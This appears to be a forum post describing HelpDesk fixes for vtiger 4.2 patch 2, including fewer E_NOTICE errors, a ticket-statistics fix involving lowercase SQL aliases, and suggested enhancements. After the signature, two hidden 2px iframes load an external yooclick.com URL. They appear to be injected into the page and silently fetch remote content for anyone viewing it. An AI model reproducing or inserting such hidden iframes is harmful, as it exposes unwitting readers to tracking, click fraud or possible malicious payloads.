HelpDesk fixes for vtiger 4.2 patch 2

Hi All!

Here are some fixes for the HelpDesk module.

- Significant reduction of E_NOTICE errors

- BUGFIX: Ticket Statistics now displays total open and closed tickets.

These bars wre previously missing. The fix for this was to change the "count(*) as ..." to an all lowercase name. Apparently, mixed case there causes a problem, which is probably a bug in the database layer.

Does not fix a possible "oh $%&#" condition whereby a ticket can be assigned to a user who does not have a "support" role, and therefore can not do anything with the ticket...

May I suggest an enhancement to Ticket Statistics, which would be to enable a drill-down by clicking on the graph, to show those tickets? And to show a section for tickets open more than 24 hours, 48 hours, etc?

Anyway, enough of that... I hope these fixes are useful to you!

Terry, Scribendi.com <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
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